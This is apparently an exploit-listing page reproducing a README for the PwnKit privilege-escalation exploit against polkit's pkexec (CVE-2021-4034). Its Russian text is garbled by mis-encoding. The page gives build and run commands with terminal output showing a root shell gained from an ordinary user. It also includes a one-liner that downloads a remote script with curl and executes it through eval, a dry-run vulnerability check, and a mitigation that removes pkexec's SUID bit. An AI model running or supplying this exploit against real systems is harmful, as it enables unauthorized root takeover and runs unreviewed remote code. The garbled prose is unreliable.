## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-POL-RUIZ-CVE-2021-4034
# CVE-2021-4034
ΠΠΊΡΠΏΠ»ΠΎΠΉΡ Π΄Π»Ρ ΠΏΠΎΠ²ΡΡΠ΅Π½ΠΈΡ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ polkit Π·Π° ΠΎΠ΄ΠΈΠ½ Π΄Π΅Π½Ρ
ΠΡΠΎΡΡΠΎ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΠ΅ `make`, `./cve-2021-4034` ΠΈ Π½Π°ΡΠ»Π°ΠΆΠ΄Π°ΠΉΡΠ΅ΡΡ root-ΠΎΠ±ΠΎΠ»ΠΎΡΠΊΠΎΠΉ.
ΠΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΡΠΉ advisory ΠΎΡ Π½Π°ΡΡΠΎΡΡΠΈΡ
Π°Π²ΡΠΎΡΠΎΠ² Π½Π°Ρ
ΠΎΠ΄ΠΈΡΡΡ Π·Π΄Π΅ΡΡ
## PoC
ΠΡΠ»ΠΈ ΡΠΊΡΠΏΠ»ΠΎΠΉΡ ΡΡΠ°Π±ΠΎΡΠ°Π΅Ρ, Π²Ρ ΡΡΠ°Π·Ρ ΠΏΠΎΠ»ΡΡΠΈΡΠ΅ root-ΠΎΠ±ΠΎΠ»ΠΎΡΠΊΡ:
root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
ΠΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ polkit Π½Π° Π±ΠΎΠ»ΡΡΠΈΠ½ΡΡΠ²Π΅ ΡΠΈΡΡΠ΅ΠΌ Π·Π°ΠΊΡΡΠ²Π°Π΅Ρ ΡΡΡ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ, ΠΏΠΎΡΡΠΎΠΌΡ Π²Ρ ΡΠ²ΠΈΠ΄ΠΈΡΠ΅ ΡΠΏΡΠ°Π²ΠΊΡ, ΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ° Π·Π°Π²Π΅ΡΡΠΈΡΡΡ:
root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
## ΠΡΠΎΠ±Π½ΡΠΉ Π·Π°ΠΏΡΡΠΊ
Π§ΡΠΎΠ±Ρ Π½Π΅ Π·Π°ΠΏΡΡΠΊΠ°ΡΡ ΠΎΠ±ΠΎΠ»ΠΎΡΠΊΡ, Π° ΠΏΡΠΎΡΡΠΎ ΠΏΡΠΎΠ²Π΅ΡΠΈΡΡ, ΡΡΠ·Π²ΠΈΠΌΠ° Π»ΠΈ ΡΠΈΡΡΠ΅ΠΌΠ°, ΡΠΎΠ±Π΅ΡΠΈΡΠ΅ ΡΠ΅Π»Ρ `dry-run`.
ΠΡΠ»ΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ° Π·Π°Π²Π΅ΡΡΠΈΡΡΡ, Π²ΡΠ²Π΅Π΄Ρ Β«rootΒ», ΡΡΠΎ ΠΎΠ·Π½Π°ΡΠ°Π΅Ρ, ΡΡΠΎ Π²Π°ΡΠ° ΡΠΈΡΡΠ΅ΠΌΠ° ΡΡΠ·Π²ΠΈΠΌΠ° ΠΊ ΡΠΊΡΠΏΠ»ΠΎΠΉΡΡ.
root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
ΠΡΠ»ΠΈ Π²Π°ΡΠ° ΡΠΈΡΡΠ΅ΠΌΠ° Π½Π΅ ΡΡΠ·Π²ΠΈΠΌΠ°, ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ° Π²ΡΠ²Π΅Π΄Π΅Ρ ΠΎΡΠΈΠ±ΠΊΡ ΠΈ Π·Π°Π²Π΅ΡΡΠΈΡΡΡ.
root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
## Π Polkit pkexec Π΄Π»Ρ Linux
Polkit (ΡΠ°Π½Π΅Π΅ PolicyKit) β ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ Π΄Π»Ρ ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ ΠΎΠ±ΡΠ΅ΡΠΈΡΡΠ΅ΠΌΠ½ΡΠΌΠΈ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΌΠΈ Π² Unix-ΠΏΠΎΠ΄ΠΎΠ±Π½ΡΡ
ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΎΠ½Π½ΡΡ
ΡΠΈΡΡΠ΅ΠΌΠ°Ρ
. ΠΠ½ ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Π»ΡΠ΅Ρ ΠΎΡΠ³Π°Π½ΠΈΠ·ΠΎΠ²Π°Π½Π½ΡΠΉ ΡΠΏΠΎΡΠΎΠ± Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²ΠΈΡ Π½Π΅ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΎΠ²Π°Π½Π½ΡΡ
ΠΏΡΠΎΡΠ΅ΡΡΠΎΠ² Ρ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΎΠ²Π°Π½Π½ΡΠΌΠΈ. Π’Π°ΠΊΠΆΠ΅ Ρ ΠΏΠΎΠΌΠΎΡΡΡ polkit ΠΌΠΎΠΆΠ½ΠΎ Π²ΡΠΏΠΎΠ»Π½ΡΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρ Ρ ΠΏΠΎΠ²ΡΡΠ΅Π½Π½ΡΠΌΠΈ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΌΠΈ, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρ pkexec Ρ ΠΏΠΎΡΠ»Π΅Π΄ΡΡΡΠ΅ΠΉ ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ, ΠΊΠΎΡΠΎΡΡΡ Π½ΡΠΆΠ½ΠΎ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡ (Ρ ΠΏΡΠ°Π²Π°ΠΌΠΈ root).
# ΠΠ΄Π½ΠΎΡΡΡΠΎΡΠ½ΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ
ΠΡ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π»Π΅Π³ΠΊΠΎ ΡΠΊΡΠΏΠ»ΡΠ°ΡΠΈΡΠΎΠ²Π°ΡΡ ΡΠΈΡΡΠ΅ΠΌΡ Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΡΠΊΡΠΈΠΏΡΠ°, ΠΊΠΎΡΠΎΡΡΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΊΠ°ΡΠ°ΡΡ ΠΈ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡ ΡΡΠΎΠΉ ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ:
root@kitploit:~
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
# ΠΠ΅ΡΡ ΠΏΠΎ ΡΠΌΡΠ³ΡΠ΅Π½ΠΈΡ
ΠΡΠ»ΠΈ Π΄Π»Ρ Π²Π°ΡΠ΅ΠΉ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΎΠ½Π½ΠΎΠΉ ΡΠΈΡΡΠ΅ΠΌΡ Π½Π΅Ρ ΠΈΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΠΉ, Π² ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ Π²ΡΠ΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΠΌΠ΅ΡΡ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ½ΡΡΡ SUID-Π±ΠΈΡ Ρ pkexec.
root@kitploit:~
# chmod 0755 /usr/bin/pkexec
ΠΠΎΡΠ»Π΅ ΡΡΠΎΠ³ΠΎ ΡΠΊΡΠΏΠ»ΠΎΠΉΡ Π·Π°Π²Π΅ΡΡΠΈΡΡΡ Ρ ΠΎΡΠΈΠ±ΠΊΠΎΠΉ ΠΎ ΡΠΎΠΌ, ΡΡΠΎ Ρ `pkexec` Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±ΡΡΡ ΡΡΡΠ°Π½ΠΎΠ²Π»Π΅Π½ setuid-Π±ΠΈΡ.
root@kitploit:~
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from βUTF-8β to βPWNKITβ
pkexec must be setuid root